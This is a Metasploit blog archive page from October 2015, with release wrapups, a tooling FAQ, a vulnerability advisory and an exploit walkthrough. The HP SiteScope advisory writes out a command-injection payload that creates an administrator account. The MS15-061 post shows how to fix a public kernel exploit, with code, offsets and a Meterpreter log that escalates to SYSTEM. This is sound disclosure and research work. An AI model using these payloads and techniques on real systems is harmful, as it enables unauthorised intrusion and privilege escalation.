Skip navigation
All Places > Metasploit > Blog > 2015 > October
2015
egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Oct 29, 2015

This week's update brings a fun user-assisted code execution bug in Safari. It works by opening up an "applescript://" URL, which pops an Applescript editor, and then getting the user to hit Command-R (normally the keybinding for reloading the page). The key combo will pass down to the editor and run the script.

 

There is a mitigating factor here in the form of Gatekeeper, part of Apple's "walled garden" architecture, designed to protect users from people who haven't given Apple $99. In it's default setting on Mountain Lion and newer, Gatekeeper will pop up a couple of "Are you sure?"s before letting the user give you a shell. But hey, signed Java applets are still moderately effective at getting shells in phishing campaigns in spite of click-to-play, so chances are still pretty good.

 

You can see all the changes since the last wrapup on github: 4.11.4-2015101401...4.11.4-2015102801

 

Exploit modules

 

Auxiliary and post modules

In August, we were getting a lot of questions about Kali 2. I have answered some questions in Metasploit on Kali Linux 2.0 blog post in the past. Today, I am pleased to announce that we extend our official platform support to three new operating systems which are now listed in Metasploit System Requirements page:

  • Kali Linux 2.0
  • Red Hat Enterprise Server 7.1 or later
  • Microsoft Windows Server 2012 R2

 

Since we have added Kali 2 as a supported operating system, we no longer support Kali 1.x. Please note that these changes are applicable to our closed source products which are Metasploit Community, Express, Pro. Since Metasploit Framework is an open source and free tool, we do not provide support for it.

 

Let me now try to cover some frequently asked questions:

 

What is the difference between Rapid7 officially supported and not supported platforms?

For every platform we list in our Metasploit System Requirements page, we perform automated testing before every release. Additionally, we perform full regression tests if we introduce a new feature. This ensures that we minimize the chance of introducing a defect. Beside from testing, we have a lab environment that includes each of the supported platforms so that when our customers report any issues, we can quickly reproduce those issues and address as soon as possible. Given these reasons, we highly recommend that you use a supported platform.

 

Kali 2 already comes with Metasploit Framework, how does this change affect me?

This announcement is only applicable to our closed source products which are Metasploit Community, Express, and Pro. Since Framework is an open source tool, we do not provide support for Metasploit Framework however you may still receive community support via IRC channel, and Rapid7 Community Discussions.

 

Additionally, we have recently released Metasploit Framework Open Source Installers. If you wish to always stay on updated version of Metasploit Framework, feel free to use the open source installers.

 

Kali 2 already comes with Metasploit Framework, can I still install Community, Express or Pro editions?

Yes, Kali 2 comes with a Metasploit Framework version, however you can still install any of our closed source edition of Metasploit without any issues. As I mentioned above, Express and Pro editions are now fully supported on Kali 2. Once you install Community, Express, or Pro editions, you will realize that the packages will install into a complete different path, thus it will not overwrite Kali provided Framework edition. However, you will be able to use the command line provided with Pro edition without issues.

 

Can I continue to use Kali 1.1?

If you wish to continue using Kali 1.1, you certainly can. Please keep in mind that it is no longer supported and we do not perform tests on this platform anymore. Thus it is highly possible that some things may not work as expected.

 

I have further questions, what do I do?

Feel free to provide comment to this thread, or send us a tweet.

 

Eray Yilmaz - @erayymz

Sr. Product Manager

Welcome to this week's Metasploit Wrapup. I'm your host Brent Cook, tagging in for egypt who just finished speaking about Metasploit at the Texas DIR Telecommunications Forum. This week was largely focused on bug fixes and refinements.

 

In the fixes bucket, PowerShell sessions now properly upgrade with the 'sessions -u' command. Fixing this also revealed some general problems handling PowerShell commands, which were also fixed. SRVHOST, like LHOST now supports tab completion, which is super useful rather than having to remember what your local IP addresses are.  Modules using SSL can now set advanced options, including support for TLS 1.2, and a similar fix was applied to SMB and TCP login scanner modules. We also fixed a bug preventing 64-bit Linux staged command payloads from running, which unlocks loading some more interesting 64-bit Linux payloads in the future.

 

As modules get used in more varied scenarios and environments, deficiencies in modules are often uncovered. As a result of your reports, MS SQL, IMAP and POP3 protocol handlers now handle network failures better. The Java RMI scanner is also more resilient when handling larger protocol responses. Even the venerable msfd now has a 'quiet' option, that makes it work nicely with dumb network clients.

 

Of course, there were a few new modules this week as well, including:

 

This is a vulnerability advisory for the HP SiteScope DNS Tool Command Injection vulnerability, made in accordance with Rapid7's disclosure policy.

 

Summary

 

Due to a problem with sanitizing user input, authenticated users of HP SiteScope running on Windows can execute arbitrary commands on affected platforms as the local SYSTEM account. While it is possible to set a password for the SiteScope application administrator, this is not enforced upon installation. Therefore, in default deployments, any user who can navigate to the SiteScope service may execute arbitrary commands on the underlying operating system. If a password is set, only authenticated users may do so, which is still an unexpected level of operating system access.

 

Product Description

 

HP SiteScope is an agentless application monitorting solution, provided by Hewlettt Packard to enterprise customers.

 

Credit

 

This issue was first discovered and reported by Kirk Hayes of Rapid7, Inc. and Charles Riggs of Knowledge Consulting Group.

 

Exploitation

 

Navigating to http://<server>:8080/SiteScope/servlet/Main will typically present any user with a control panel UI with the permissions of "SiteScope Administrator," as seen in the screenshot below.

 

 

Once logged in, an attacker may navigate to the DNS Tool, found under Tools > Network Tools > DNS Tool, and enter any domain name for resolution in the Host name to resolve field, and append any other valid operating system command with the usual techniques. For example, attempting to resolve `google.com & net user HPpoc QWERty1234 /ADD & net localgroup administrators HPpoc /ADD` results in successfully creating a user and adding the user to the local administrators group, as seen in the screenshot below:

 

 

An attacker may similarly append any operating system command in the DNS Server field as well.

 

A Metasploit module has been published that demonstrates the issue.

 

Mitigations

 

In order to mitigate this issue, users should only grant access to the SiteScope application web services only to users who are trusted to local system access on the machine SiteScope is installed on. Of course, users are also strongly encouraged to set a strong password for all SiteScope users.

 

Alternatively, users should host SiteScope on Linux platforms, and configure SiteScope to run as a non-root user. This advice appears to be the preferred mitigation from the vendor per discussions between the vendor and Rapid7. On Windows, SiteScope appears to require local SYSTEM access in order to perform intended functionality, so account permissions for the application or individual users would not appear to be effective on this operating system.

 

Disclosure Timeline

 

In accordance with with Rapid7's disclosure policy, the vendor was made aware of this issue at least 60 days prior to this advisory's publication.

 

  • Mon, Jun 01, 2015: Initial Discovery by Kirk Hayes and Charles Riggs
  • Tue, Jun 02, 2015: Validated current version's vulnerability (v11.30)
  • Thu, Jun 04, 2015: Offered to HP TippingPoint's ZDI program
  • Tue, Jun 30, 2015: Rejected by ZDI
  • Wed, Jul 01, 2015: Details disclosed to vendor, case # SSRT103139 assigned
  • Wed, Aug 19, 2015: Issue receipt acknowledged by vendor, mitigation suggested
  • Tue, Aug 25, 2015: Details disclosed to CERT
  • Mon, Aug 31, 2015: CERT assigned VU#626368
  • Fri, Oct 9, 2015: Public disclosure and Metasploit module published.

abigtoolbox.jpgThere are a wide variety of interesting and useful tools in the Metasploit Framework. Many of these are available from the top-level of Metasploit in the form of modules and library code. You can find countless tutorials and blogs about how to put msfconsole, msfvenom and other top-level commands to good use. However, not many people know about the 'tools' directory, which contains many useful, single-purpose scripts, with topics spanning from exploit development to statistics.

 

One of the problems with the tools directory is that it was not very well organized. Like a messy toolbox, it had grown organically over the years, making it difficult to find things. To correct this, we have reorganized the tools directory by category, making tools easier to discover and encouraging their use. The new categories are:

 

  • dev: tools for managing developer tasks
  • exploit: tools for developing exploits
  • modules: tools for gathering project statistics, checking code quality, and checking payloads
  • password: tools for extracting and cracking passwords
  • recon: tools for collecting target data

 

In the process, we found a few tools that may have outlived their usefulness. While we have not deleted anything yet, we may remove some obscure or unused tools in the future. Until then, please take a moment to check out the new cleaned-up tools directory and find something new! While you're there, be sure to check out our latest tool addition, MSU Finder.

Patch testing and analysis are important parts in vulnerability research and exploit development. One popular reason is people would try this technique to rediscover patched bugs, or find ways to keep an 0day alive in case the fix in place is inadequate. The same process is also used to find the range of builds affected by a vulnerability, which tends to be useful to predict the value of the exploit, improving target coverage and reliability.

 

Going through Microsoft patches is no easy task, though. There could be hundreds of advisories for the bug you're working on, each including different operating systems, different architectures, different languages, etc. Of course, there are tools publicly available that can search and patch whatever you're vulnerable to, but this is only great for regular use such as home or IT infrastructure. For research purposes, we usually don't want just one patch. We often want all (or most) that are associated with the product. Surprisingly, there seem to be no tools suitable for this kind of task. So we made a new tool called MSU Finder, and another called extract_msu.bat to extract patches.

 

MSU Finder

 

The main purpose of MSU Finder is to find the download links for Microsoft patches. You can also use it to find advisories of a given product, in case you are curious about how often something gets updated.

 

Technet Search Engine

 

The tool supports two ways to find Microsoft advisories: The first and default one is via Technet. In this mode, MSU Finder will check against pre-defined product list from Technet, and return all the ones that match. If nothing matches, the tool will just perform a more generic search. The Technet search engine allows you to search by MSB, KB, or CVE number.

 

Google Custom Search API

 

The other search engine MSU Finder supports is Google Custom Search API. The request is equivalent to the following Google search:

 

SEARCH_QUERY site:technet.microsoft.com intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary"

 

To be able to use the Google engine, you need to get an API key and a Search Engine ID:

 

  1. Have a Gmail account
  2. Go to Google Developer's Console
    1. Enable Custom Search API
    2. Create a credential. This credential is the API key.
  3. Go to Custom Search
    1. Create a new search engine
    2. Under Sites to Search, set it to: technet.microsoft.com
    3. In your search site, get the Search Engine ID under the Basics tab.

 

Usage

 

MSU Finder currently has a bit of learning curve. First off, the -q argument is mandatory. An important thing to understand is that the script will find advisories associated with that string, and then give you ALL the download links. And by "ALL", I mean all of it. For example, if your -q is "Internet Explorer 11", you will also get download links for other IE versions because they are all associated with the same advisory (vulnerability). So to narrow down your results more, you will need the -r option as well.

 

For example, if you want to look for IE 11 patches for x86, use a more narrow query like this:

 

$ ruby tools/exploit/msu_finder.rb -q "Internet Explorer 11" -r "^IE11.+x86"

 

The -r option is a regular expression (regex) filter for the download link. This method works well if you are already familiar with Microsoft's patch naming convention, which typically begins with the product name or the operating system. You may need to play with this a little bit to get the hang of it. Even if you can't find an appropriate regex, it's okay. Download them anyway, and then on Windows you can sort files by modified date or product version, and then it will become apparent which ones you want, or don't want.

 

If you are not sure which advisories might get picked up by the search, try the -d option. This will only show you advisories numbers without actually fetching any links:

 

$ ruby tools/exploit/msu_finder.rb -q "Internet Explorer (10|11)" -d

 

Finally, MSU Finder does not include the ability to download patches directly, but you can save the links to a file and use a tool like wget to download them:

 

$ ruby tools/exploit/msu_finder.rb -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt

 

To learn more about MSU Finder, please use the -h flag.

 

extract_msu.bat

 

As the name implies, this tool can extract Microsoft patches, specifically MSU files. It only runs on Windows, because it basically uses the expand command to extract. To use this:

 

  1. Start a Windows machine (XP or higher, so you have the `expand` command available)
  2. Copy extract_msu.bat onto the Windows machine
  3. Put all the MSU files in the same directory
  4. Run: extract_msu.bat [absolute path to the directory]
  5. As the tool runs, it will create a new folder for each MSU. And then in that new folder, there's another sub-folder named "extracted", that's where you can find the actual file(s) the patch wants to install. Now, since you're on Windows, you can search whatever DLL (or EXE) you are looking for, and then easily sort by creation date, product version, etc. Or, you can copy and paste all the found files onto the same folder, and then use whatever 3rd-party tool for additional analysis.

 

Both of these tools are now available for the Metasploit Framework. You can use MSU Finder to find you advisories or even be leveraged to automatically download patches. After downloading, you can use extract_msu.bat to extract them. After the patches are extracted, you can easily search for the actual components you want, put them in one place, and now you have a nice collection of release builds for research or development purposes.

 

To get your hands on these tools, please feel free to download Metasploit Framework, or git clone. If you are already a Metasploit user, you can run the msfupdate to receive them. To report a bug, or request additional features, please submit them to our metasploit-framework Github.

egypt

Weekly Metasploit Wrapup

Posted by egypt Employee Oct 7, 2015

Welcome to another edition of the increasingly inaccurately named Weekly Wrap up! I'm egypt and I'll be your host. Since the last one of these, a lot of work has landed on the Framework. I talked about some of it with a bit of a yearly wrapup at my Derbycon talk. We also had a fun time at the Metasploit Townhall.

 

One of the recent things I didn't cover is the super cool BusyBox work by Javier Vicente Vallejo. For those who aren't familiar, BusyBox is a small, usually statically compiled, shell environment for resource-constrained systems like SOHO routers (which we've talked about quite a bit here on the Metasploit blog). From the official website:

BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete environment for any small or embedded system.

 

BusyBox has been written with size-optimization and limited resources in mind. It is also extremely modular so you can easily include or exclude commands (or features) at compile time. This makes it easy to customize your embedded systems. To create a working system, just add some device nodes in /dev, a few configuration files in /etc, and a Linux kernel.

BusyBox is used all over the place with all sorts of different configurations and, as a result of its modular design, many deployments are stripped down to the bare minimum requirements of a given system. That means significant environment-specific limitations from a post-exploitation perspective. Having a collection of tools for working with it after you've compromised a device can save a lot of time over figuring out what particular handicaps a given busybox has been compiled with.

 

We also released our shiny new Omnibus installer, with support for Windows, Linux, and OSX, for your Open Source installation pleasure.

 

As always, feel free to check the diffs from the last blog checkpoint, over on GitHub.

 

Exploit modules

 

Auxiliary and post modules

Screen Shot 2015-10-06 at 10.34.13 AM.pngRapid7 has long supplied universal Metasploit installers for Linux and Windows. These installers contain both the open source Metasploit Framework as well as commercial extensions, which include a graphical user interface, metamodules, wizards, social engineering tools and integration with other Rapid7 tools. While these features are very useful, we recognized that they are not for everyone. According to our recent survey of Metasploit Community users, most only used it for the open source components, preferring to use the command-line tools over the graphical ones. Also, while we do our best to ensure that Metasploit Community and Pro releases are of high quality, they are not always supplied with the latest hot new exploits and payloads available in Metasploit Framework.

 

Screen Shot 2015-10-06 at 10.28.58 AM.pngWhile it has always been possible to simply setup a development environment and run the latest metasploit-framework code from github directly, it can still be tricky to setup and keep up to date. Kali Linux 2.0 now publishes the open source pieces of Metasploit Framework with its distribution, but the release schedule still follows that of Metasploit Community / Pro editions, and it of course does not necessarily help those who prefer other operating systems.

 

Screen Shot 2015-10-06 at 10.29.58 AM.pngTo address the needs of open source enthusiasts, those needing more frequent updates, or those simply looking for an easy way to setup a database for Metasploit Framework development use, we have created Open Source installers for Metasploit Framework for Windows, OS X and Linux x86 and x86-64 platforms. These installers utilize the Omnibus tool from chef in order to package everything needed to run Metasploit Framework, from dependent libraries, specific Ruby versions up to a built-in PostgreSQL database. The installers are easy to install and get up and running in seconds. They are also built and tested automatically each night, so you can always run 'msfupdate' and get the latest exploits and payloads without having to setup a development environment. The installers also integrate with your OSes native package manager, be it Linux RPM or DEB-based, MSI for Windows or PKG for OS X. That makes them easy to uninstall as well.

 

For information about how to install and use these new packages, see our wiki page on the Metasploit Framework project github project. The installers themselves are also open source. So if you see a problem, pull requests or issue reports are very welcome! Note that in addition to these Metasploit-specific installers, there are other ways to get Metasploit Framework, such as through Dave Kennedy's PenTester Framework or even pre-installed in Kali Linux. The Metasploit Framework omnibus installers provide another way to get the open source Metasploit Framework running on a variety of platforms quickly and easily.

Recently, the MS15-061 bulletin has received some attention. This security bulletin includes patches for several Windows Kernel vulnerabilities, mainly related to win32k.sys. Details of one of them, discovered by Udi Yavo, have been very well covered.

 

First, the same Udi Yavo published details about the Use After Free on a blog entry. Later, Dominic Wang wrote a even more detailed analysis of both the vulnerability and its exploitation on this paper. Finally, Meysam firozi implemented the exploitation described by Dominic and published it.

 

These last days I have been playing with the published exploit, whose ultimate goal is to nullify the ACL of the winlogon.exe process. We won't cover the details of the vulnerability / exploit again because I don't think I can explain it better than the above references .  This vulnerability is definitely a good introduction to win32k.sys exploitation, and there are a lot of awesome materials to work with.

 

That said, while testing the Meysam's exploit, we have been making improvements here and there. I would like to share the details of the first set of modifications in this blog.

 

To begin testing, I built the published exploit, commented the DebugBreak() calls and "int 3" instructions, and tested it on a Windows 7 SP1 machine with win32k.sys 6.1.7601.18773. Immediately, I got a user space crash and the winlogon's ACL wasn't nullified:

 

crash.png

 

I then attached a user-mode debugger and ran the exploit again. It caught the next crash in the hooked ClientCopyImage callback, while trying to reuse the freed memory:

user_mode_debugger.png

 

An out-of-bounds memory access occurs when trying to compute the address of the HWND handler that will be used to trigger the memory reuse:

 

NtUserDefSetText(Secondhwnd[SecondWindowIndex], &plstr);
 

 

It is notable that a statically-sized array is used to store the window handles used for exploitation:

 

HWND Secondhwnd[50];

 

The first HWND in the array is the one whose tagWND is modified to allow execution from kernel context. The remaining window handlers are to reuse the freed memory on the ClientCopyImage User Mode Callback.

 

Unfortunately, this means which the vulnerability can be triggered only 49 times. Otherwise, more HWND handles are needed. As a brief reminder, the exploitation primitive used here decrements  an arbitrary memory address:

 

.text:BF8D0038 ; __stdcall HMUnlockObject(x)
.text:BF8D0038 _HMUnlockObject@4 proc near             ; CODE XREF: ThreadLockExchangeAlways(x,x)+19 p
.text:BF8D0038                                         ; ThreadLockExchange(x,x)+1D p ...
.text:BF8D0038
.text:BF8D0038 arg_0           = dword ptr  8
.text:BF8D0038
.text:BF8D0038                 mov     edi, edi
.text:BF8D003A                 push    ebp
.text:BF8D003B                 mov     ebp, esp
.text:BF8D003D                 mov     eax, [ebp+arg_0]
.text:BF8D0040                 dec     dword ptr [eax+4] ; Allows to decrement the contents of an arbitrary memory address
.text:BF8D0043                 jnz     short loc_BF8D004B
.text:BF8D0045                 push    eax
.text:BF8D0046                 call    _HMUnlockObjectInternal@4 ; HMUnlockObjectInternal(x)
.text:BF8D004B
.text:BF8D004B loc_BF8D004B:                           ; CODE XREF: HMUnlockObject(x)+B j
.text:BF8D004B                 pop     ebp
.text:BF8D004C                 retn    4
.text:BF8D004C _HMUnlockObject@4 endp
 

 

This decrement occurs every time the use-after-free is exploited in the hooked user-mode callback. This arbitrary memory decrement translates into code execution when it is used to set the "bServerSideWindowProc" bit in the state field of a tagWND object. In the public exploit, the tagWND object is associated with the Secondhwnd[0] window. In this way its window procedure will be executed from kernel context.

 

The "state" field is found at offset 0x14 on the tagWND object:

 

   +0x014 state            : Uint4B
   +0x014 bHasMeun         : Pos 0, 1 Bit
   +0x014 bHasVerticalScrollbar : Pos 1, 1 Bit
   +0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit
   +0x014 bHasCaption      : Pos 3, 1 Bit
   +0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit
   +0x014 bMsgBox          : Pos 5, 1 Bit
   +0x014 bActiveFrame     : Pos 6, 1 Bit
   +0x014 bHasSPB          : Pos 7, 1 Bit
   +0x014 bNoNCPaint       : Pos 8, 1 Bit
   +0x014 bSendEraseBackground : Pos 9, 1 Bit
   +0x014 bEraseBackground : Pos 10, 1 Bit
   +0x014 bSendNCPaint     : Pos 11, 1 Bit
   +0x014 bInternalPaint   : Pos 12, 1 Bit
   +0x014 bUpdateDirty     : Pos 13, 1 Bit
   +0x014 bHiddenPopup     : Pos 14, 1 Bit
   +0x014 bForceMenuDraw   : Pos 15, 1 Bit
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit
   +0x014 bAnsiWindowProc  : Pos 19, 1 Bit
   +0x014 bBeingActivated  : Pos 20, 1 Bit
   +0x014 bHasPalette      : Pos 21, 1 Bit
   +0x014 bPaintNotProcessed : Pos 22, 1 Bit
   +0x014 bSyncPaintPending : Pos 23, 1 Bit
   +0x014 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
   +0x014 bRecievedSuspendMsg : Pos 25, 1 Bit
   +0x014 bToggleTopmost   : Pos 26, 1 Bit
   +0x014 bRedrawIfHung    : Pos 27, 1 Bit
   +0x014 bRedrawFrameIfHung : Pos 28, 1 Bit
   +0x014 bAnsiCreator     : Pos 29, 1 Bit
   +0x014 bMaximizesToMonitor : Pos 30, 1 Bit
   +0x014 bDestroyed       : Pos 31, 1 Bit
 

 

In the published exploit, the desired tagWND kernel address is leaked in the initialization routine, and its state field (kernelHandle + 0x14) is configured as the address to be decremented through a call to the "ArbDecByOne" method:

 

ArbDecByOne((DWORD)kernelHandle + 0x14);

VOID ArbDecByOne(DWORD addr){
  *(DWORD *)(originalCLS + 0x58) = addr - 0x4;
}

void init()
{
     // ....
     /*
     +0x014 bForceMenuDraw   : Pos 15, 1 Bit
     +0x014 bDialogWindow    : Pos 16, 1 Bit
     +0x014 bHasCreatestructName : Pos 17, 1 Bit
     +0x014 bServerSideWindowProc : Pos 18, 1 Bit
     +0x014 bAnsiWindowProc  : Pos 19, 1 Bit
     */
     kernelHandle = GetKernelHandle(Secondhwnd[0]);
     ArbDecByOne((DWORD)kernelHandle + 0x14);  // 
     // ....
}

 

Let's look at a Windows kernel debug session, observing the default "state" value of the tagWND object (before corruption):

 

   +0x014 state            : 0x40020018
   +0x014 bHasMeun         : 0y0
   +0x014 bHasVerticalScrollbar : 0y0
   +0x014 bHasHorizontalScrollbar : 0y0
   +0x014 bHasCaption      : 0y1
   +0x014 bSendSizeMoveMsgs : 0y1
   +0x014 bMsgBox          : 0y0
   +0x014 bActiveFrame     : 0y0
   +0x014 bHasSPB          : 0y0
   +0x014 bNoNCPaint       : 0y0
   +0x014 bSendEraseBackground : 0y0
   +0x014 bEraseBackground : 0y0
   +0x014 bSendNCPaint     : 0y0
   +0x014 bInternalPaint   : 0y0
   +0x014 bUpdateDirty     : 0y0
   +0x014 bHiddenPopup     : 0y0
   +0x014 bForceMenuDraw   : 0y0
   +0x014 bDialogWindow    : 0y0
   +0x014 bHasCreatestructName : 0y1
   +0x014 bServerSideWindowProc : 0y0
   +0x014 bAnsiWindowProc  : 0y0
   +0x014 bBeingActivated  : 0y0
   +0x014 bHasPalette      : 0y0
   +0x014 bPaintNotProcessed : 0y0
   +0x014 bSyncPaintPending : 0y0
   +0x014 bRecievedQuerySuspendMsg : 0y0
   +0x014 bRecievedSuspendMsg : 0y0
   +0x014 bToggleTopmost   : 0y0
   +0x014 bRedrawIfHung    : 0y0
   +0x014 bRedrawFrameIfHung : 0y0
   +0x014 bAnsiCreator     : 0y0
   +0x014 bMaximizesToMonitor : 0y1
   +0x014 bDestroyed       : 0y0
 

 

The value here is 0x40020018. In order to set bServerSideWindowProc to 1 through decrements, "state" need to have the value 0x3fffffff. It means that the vulnerability needs to be triggered 0x20019 times, definitely more than the 49 HWND handles available. This is the cause of the out-of-bounds user mode crash we were experiencing.

 

Fortunately, we can take a shortcut to avoid these problems. Let's see what happens if we target tagWND+0x16 for decrement, instead of tagWND+0x14:

 

kd> dd fea33ad8 + 14 L2
fea33aec  40020018 80000710
kd> dd fea33ad8 + 16 L1
fea33aee  07104002
 

 

Now we just need to trigger the vulnerability three times to set the bServerSideWindowProc bit! Even more interesting, after the three decrements, 0x07104002 will become 0x7103fff. This means nothing outside of the "state" field is modified.

 

That said, we can simplify the original call to ArbDecByOne to become:

 

ArbDecByOne((DWORD)kernelHandle + 0x16); 
 

 

Then we can run the exploit again. This time there are no crashes. After running it, we can check the permissions for the winlogon.exe process (with ProcessExplorer for example). There should not have been any permissions assigned to the object:

winlogon_exploit.png

 

Now we should be able migrate a Meterpreter session, from a non privileged process to the winlogon process, and get a new SYSTEM session back, like this:

 

  • Get a non privileged session in the target

 

msf exploit(handler) > rexploit
[*] Reloading module...
[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...

[*] Sending stage (885806 bytes) to 172.16.158.132
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:49174) at 2015-09-24 13:25:45 -0500
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > getpid
Current pid: 1268
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > ps -S winlogon

Process List
============
PID   PPID  Name               Arch  Session  User                          Path
---   ----  ----               ----  -------  ----                          ----
432   380   winlogon.exe       x86   1                                      C:\Windows\system32\winlogon.exe
 

 

  • Run the exploit to nullify the winlogon.exe process ACL

 

  • Migrate successfully to the winlogon.exe process to get a SYSTEM session

 

meterpreter > migrate 432
[*] Migrating from 1268 to 432...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
 

 

Success! The original exploit with the small modifications can be found on this github branch. There are other interesting things to explore with this exploit. Look forward to those in future blog posts!

Filter Blog

By date: By tag: